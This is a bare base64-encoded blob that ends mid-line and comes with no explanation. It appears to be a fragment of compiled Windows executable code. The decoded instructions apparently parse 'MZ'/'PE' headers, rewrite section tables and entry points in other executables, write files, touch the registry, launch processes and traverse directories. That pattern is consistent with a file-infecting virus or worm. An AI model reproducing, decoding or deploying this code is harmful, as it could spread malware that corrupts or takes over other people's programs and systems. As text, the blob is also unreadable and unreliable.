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 